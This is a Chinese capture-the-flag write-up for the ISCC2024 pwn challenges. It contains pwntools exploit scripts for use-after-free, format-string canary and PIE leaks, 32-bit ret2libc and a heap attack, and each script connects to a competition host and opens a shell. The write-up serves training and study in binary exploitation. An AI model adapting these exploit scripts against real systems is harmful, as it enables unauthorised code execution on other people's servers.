ISCC2024--pwn

news2024/11/16 23:34:10

ISCC2024

练武题

chaos

考点:基础UAF

分析

1.首先将附件放入IDA查看主函数功能,进入菜单函数:
在这里插入图片描述

  1. 注意到选项5不太一样,跟进该功能模块的函数查看:
    联想截图_20240502214444.png
    联想截图_20240502214454.png

联想截图_20240502214723.png

  1. 分析得到该功能存在UAF漏洞,system(/bin/sh) 执行的前提是指针ptr指向的内容前四个字符是“Flag”,因此利用UAF漏洞将该堆块收回,接着填充内容为“Flag”即可获取shell,最后进入靶机输入 cat /flag.txt 获取flag。
exp
# 最基本的UAF,键入选项五,申请0x68【键入size=96】大小的堆块,输入“Flag”即可获取shell。
from pwn import *
io = remote('182.92.237.102',10010)
io.interactive()

#  ISCC{751503af-4116-45a3-a43c-a06add4a9386}

easyshell(⭐)

考点:64位leak_fmt + PIE基地址跳转
坑点:后门函数不能填充起始地址【可能是因为堆栈不平衡】,使用 mov rdi /bin/sh 处地址即可。

分析
  1. 首先分析主要函数core_code函数代码如下,发现存在栈溢出漏洞和格式化字符串漏洞【需要输入flagis前缀来触发】:

联想截图_20240502221341.png
在这里插入图片描述

  1. 由于程序运行存在while循环,可以无限次输入,直到输入exit才会退出循环,执行 rbp+0x8 地址的内容。由于程序存在canary保护并且开启了PIE,因此可以利用fmt泄露canary的值和栈上某一函数的实际地址。

【由于PIE开启后,函数地址后12位字节不会变化,因此IDA里面查得函数地址后三位是不会变的。】
然后利用 程序基地址 = 该函数实际地址 - IDA里面对应该函数的后三位地址,进而得到基地址;而实际
后门函数地址 = 基地址 + IDA里面对应地址后三位,填充到返回地址。最后利用 exit 跳转到后门函数获取shell。
easyshell.png
分析程序栈结构得到所需canary偏移位 15,泄露函数【main+254】偏移是17,IDA对应地址为 0x1520。
在这里插入图片描述
在这里插入图片描述

exp
#  【开启PIE,低地址跳转】ret2text,
#  首先输入 flagis + %n$p 获取canary 和 main+254 实际地址,进而得到基地址,
#  加上后门函数的偏移得到真实地址。然后利用gets栈溢出覆盖返回地址为后门函数地址
# 【直接填充起始地址会出错,填充 mov rdi /bin/sh 处地址可以打通】,即可获得shell。

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('182.92.237.102',10011)
p1 = b'flagisa' + b'%15$p'
p2 = b'flagisa' + b'%17$p'
io.sendlineafter(b'>>',p1)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.sendlineafter(b'>>',p2)
io.recvuntil(b'0x')
main_254 = int(io.recv(12),16)
print(hex(main_254))
base = main_254 - 0x520
shell = 0x291 + base
print(hex(shell))
p2 = b'a'*0x38+p64(canary)+p64(0)+p64(shell)
io.sendlineafter(b'>>',p2)
io.sendlineafter(b'>>',b'exit')
io.interactive()	 
#  ISCC{b1e99cf8-d13f-4a99-a12e-3ca0b0716d1a}

Flag

考点:fmt + 32位ret2libc3
坑点:libc版本问题

分析

分析welcome函数,发现格式化字符串漏洞,可以泄露canary。back函数存在read栈溢出,打ret2libc_3泄露libc的基地址,然后在线搜索libc版本。下载并使用system函数和/bin/sh字符串地址,构造system(/bin/sh) 填充返回地址,获取shell。
联想截图_20240502224625.png
在这里插入图片描述

本地测试查看canary偏移量。
Flag1.png
Flag2.png

exp
#  格式化字符串泄漏canary,32位ret2libc3。注意libc版本问题
from pwn import *
io = remote('182.92.237.102',10012)
elf = ELF('./Flag')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got =  elf.got['puts']
main_addr = elf.sym['back']

p1 = b'%19$p'
io.sendlineafter(b"what's the content?\n",p1)

io.recvuntil(b'0x')
canary = int(io.recvline(),16)

offset = 0x88

pop_ebx = 0x8049022
p2 = b'a'*offset  + p32(canary) + 3*p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got)        
io.sendlineafter(b'Input:\n',p2)

puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
libc_base =  puts_addr - libc.sym['puts']
sym = libc_base + libc.sym['system']
bin = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a'*offset  + p32(canary) + 3*p32(0) + p32(sym)  + p32(0) + p32(bin)
io.sendlineafter(b'Input:\n',payload2)

io.interactive()

#  ISCC{38a24130-0a34-490b-836b-0442c858e5aa}

shopping(⭐⭐)

参考ctfshow–pwn180【还没做…】,几乎一模一样。

分析

exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('182.92.237.102',10019)
elf = ELF('./shopping')
system_plt = elf.plt['system']
io.sendlineafter('Enter the password: \n',"I'm ready for shopping")

def add(size,n,content=''):
	io.sendlineafter(b'Action:',b'1')
	io.sendlineafter(b'Item ID: ',str(size))
	io.sendlineafter(b'Quantity: ',str(n))
	if content == '':
		io.sendlineafter('Add gift message? (0/1): ','0')
	else:
		io.sendlineafter('Add gift message? (0/1): ','1')
		io.sendafter(b'Message: ',content)

for i in range(12):
	add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)

io.interactive()

# ISCC{xdyxrI87xohgzADH6wp5Xh6uonw61xa6WfLr}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote('pwn.challenge.ctf.show',28117)
elf = ELF('./pwn180')
system_plt = elf.plt['system']
io.sendlineafter('password:',"WTF Arena has a secret!")

def add(size,n,content=''):
	io.sendlineafter('Action:','1')
	io.sendlineafter('Size:',str(size))
	io.sendlineafter('Pad blocks:',str(n))
	if content == '':
		io.sendlineafter('Content? (0/1):','0')
	else:
		io.sendlineafter('Content? (0/1):','1')
		io.sendafter('Input:',content)

for i in range(12):
	add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)

io.interactive()

擂台题

great

考点:32位ret2libc_3

分析

首先根据IDA源码依次输入“yes”进入welcome函数 和“OK”进入great函数。在great函数发现栈溢出,直接打ret2libc_3即可,将第一次返回地址填充为great函数地址,这样第二次就不用一层一层进来了。
联想截图_20240502230138.png
联想截图_20240502230148.png
联想截图_20240502230213.png

exp
#  常规32位 ret2libc3
from pwn import *
from LibcSearcher import *
io = remote('182.92.237.102',10014)
elf = ELF('./great')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got =  elf.got['puts']
main_addr = elf.sym['great']
io.sendlineafter(b'ISCC?\n',b'yes')
io.sendlineafter(b'great.\n',b'OK')

payload1 = b'a'*112  + p32(puts_plt) + p32(main_addr) + p32(puts_got)        

io.sendlineafter(b'Here it is!\n',payload1) 
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])

print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libc_base =  puts_addr - libc.dump('puts')
sym = libc_base + libc.dump('system')
bin = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*112 + p32(sym) + p32(main_addr) + p32(bin)
io.sendlineafter(b'Here it is!\n',payload2) 

io.interactive()

#  ISCC{1c2bac74-155f-4082-9300-807d5414da63}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1864696.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

告别手机废片,这几款APP让你随手出大片

想象一下,你站在壮丽的风景前,满怀期待地按下手机相机的快门,但得到的照片却总与眼前美景有所差距。 是不是觉得手机的原生相机有时候并不那么“给力”? 今天,我们就来一起探讨一下手机原生相机的不足之处,…

AI智能体 | 扣子Coze 工作流中如何嵌入代码,看这一篇就够了

Coze的工作流中除了能嵌入大模型,插件,图像流,其他工作流外,还能嵌入代码。嵌入代码的好处是对一些复杂的返回结果进行二次处理。 Coze的代码支持js和python两种语言。这次用python来做演示介绍 在节点中选择代码 弹出对话框如下…

Ollama:一个在本地部署、运行LLM大型语言模型的工具

Ollama部署、运行大型语言模型 概述 Ollama是一个专为在本地机器上便捷部署和运行大型语言模型(LLM)而设计的工具。 官方网站:https://ollama.com/ Github:https://github.com/ollama/ollama 安装 Ollama支持macOS、Linux和Win…

汇凯金业:预测黄金现货涨跌趋势的关键方法

在金融市场中,黄金现货作为一种重要的避险资产,价格波动受到全球经济、货币政策、市场情绪等多重因素的影响。要有效预测黄金现货的涨跌趋势,不仅需深刻理解这些因素,还需掌握一系列的分析技巧。本文将详细介绍一些关键的分析方法…

【日记】希望文竹长得越来越好吧(856 字)

正文 为什么昨天给老师提早说了今天上课…… 今天都要忙死了。不论上午下午都手忙脚乱。上午之前的存量客户来开新账户,流程卡在客户经理尽调那里。恰好那个客户经理还是部门主管,我们没一个人敢催。向副行长汇报情况,又跟客户说。客户跟他们…

RK3588 Android13 TvSetting 中增加 WebView 切换菜单

前言 电视产品,客户要求在设置中设备偏好设置子菜单下增加一个 WebView切换菜单,一开始不知道怎么下手,后来想起来在设置开发者选项里有一个类似的菜单, 去把实现逻辑搞出来应该就ok。 效果图 TvSetting 部分修改文件清单 packages/apps/TvSettings/Settings/res/values…

秋招突击——6/24——复习{完全背包问题——买书,状态转换机——股票买卖V}——新作{两数相除,LRU缓存实现}

文章目录 引言复习完全背包问题——买书个人实现 状态转换机——股票买卖V个人实现参考实现 新作两数相除个人实现 新作LRU缓存实现个人实现unordered_map相关priority_queue相关 参考实现自己复现 总结 引言 今天知道拼多多挂掉了,难受,那实习就是颗粒无…

申瓯通信在线录音管理系统任意文件读取漏洞复现

简介 申瓯通信设备有限公司在线录音管理系统 download 接口处任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件、数据库配置文件等等,导致网站处于极度不安全状态。 漏洞复现 FOFA语法: title="在线录音管理系统" 访问界面如下所示: POC: /m…

推荐一本RMS包作者写的我正在追读的书《Regression Modeling Strategies》

熟悉我的粉丝都清楚,我很少推荐书,这次推荐这本书是我目前正在读的,这是本老书了,关于回归模型的,我觉得写的很好。 写这本书的就是RMS包的作者,这是他早些年写的书,我们可以结合他写的书来加深…

mechanize - 自动化与HTTP web服务器的交互操作

1、前言 随着自动化测试的普及与落地推广,出现了众多知名的自动化测试工具,如Selenium 、Robot Framework、Playwright等。本文将介绍一款在Python环境下的mechanize库,这个库能够模拟浏览器行为,支持发送HTTP请求、解析HTML页面和…

Day13—大语言模型

定义 大语言模型(Large Language Models)是一种基于深度学习的自然语言处理(NLP)模型,用于处理和生成人类语言文本。 一、认识NLP 什么是NLP ​ NLP(Natural Language Processing)&#xff0…

vue3+crypto-js插件实现对密码加密后传给后端

最近在做项目的过程中又遇到了一个新的问题,在实现后端管理系统的个人信息页面中,涉及到修改密码的功能,刚开始我直接通过传参的方式将修改的密码传入给后端,可是后端说需要将原密码、新密码以及确认密码都进行加密处理&#xff0…

高铝粉煤灰提取氧化铝可实现资源最大化利用 我国政府重视程度高

高铝粉煤灰提取氧化铝可实现资源最大化利用 我国政府重视程度高 高铝粉煤灰,是指氧化铝含量大于37%的粉煤灰,高铝粉煤灰提取氧化铝,是以高铝粉煤灰为原料,提取氧化铝的技术,可以提高我国氧化铝供应能力,实现…

C语言的学习发展路线(都是干货)

哈喽,大家好呀~我又回来了,前期比较忙,没有时间来更文,现在给大家推荐了一个C语言的学习路线,供大家一起学习啦! 1. 环境搭建与工具篇 选择编译器:常用的编译器有gcc、Clang、Visual Studio等。…

Linux rpm包管理

rpm用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。RPM是RedHat Package Manager (RedHat软件包管理工具)的缩写,类似windows的setup.exe,这一文件格式名称虽然打上了RedHat的标志&am…

推荐给中小学生的暑假打字神器

暑假是孩子们放松身心、增长知识的好时机。在这个漫长的假期里,家长们不仅希望孩子能够快乐地度过每一天,还希望他们能在学习上有所进步。尤其是随着科技的发展,熟练的打字技巧已经成为现代学习和工作的基本技能之一。今天,我要向…

10分钟掌握Python缓存,效率提升1000%

全文速览 python的不同缓存组件的使用场景和使用样例cachetools的使用 项目背景 代码检查项目,需要存储每一步检查的中间结果,最终把结果汇总并写入文件中 在中间结果的存储中 可以使用context进行上下文的传递,但是整体对代码改动比较大…

Jira实践案例分享:小米集团如何通过API请求优化、数据治理与AI智能客服等,实现Jira系统的高效运维

日前,Atlassian中国合作伙伴企业日活动在上海成功举办。活动以“AI协同 创未来——如何利用人工智能提升团队协作,加速产品交付”为主题,深入探讨了AI技术在团队协作与产品交付中的创新应用与实践,吸引了众多业内专家、企业客户及…

股掌柜:实时行情数据和工具:揭示投资潜力的关键

如今充斥着各种投资信息、交易平台和金融工具的时代,如何抓住投资机会成为了每个投资者必须面对的重要挑战。一个明确的投资策略和准确的市场分析成为了判断市场走势和抓住投资机会的关键。而实时行情数据和工具的使用则能够为投资者提供全面、准确的市场信息&#…

选择诊所管理系统的原则是什么?

如今,诊所管理系统已成为医疗机构提升管理效率、优化患者服务的重要工具。然而,市场上的诊所管理系统琳琅满目,功能各异,因此,如何选择一款适合自己诊所的管理系统,是许多诊所管理者需要思考的问题。下面&a…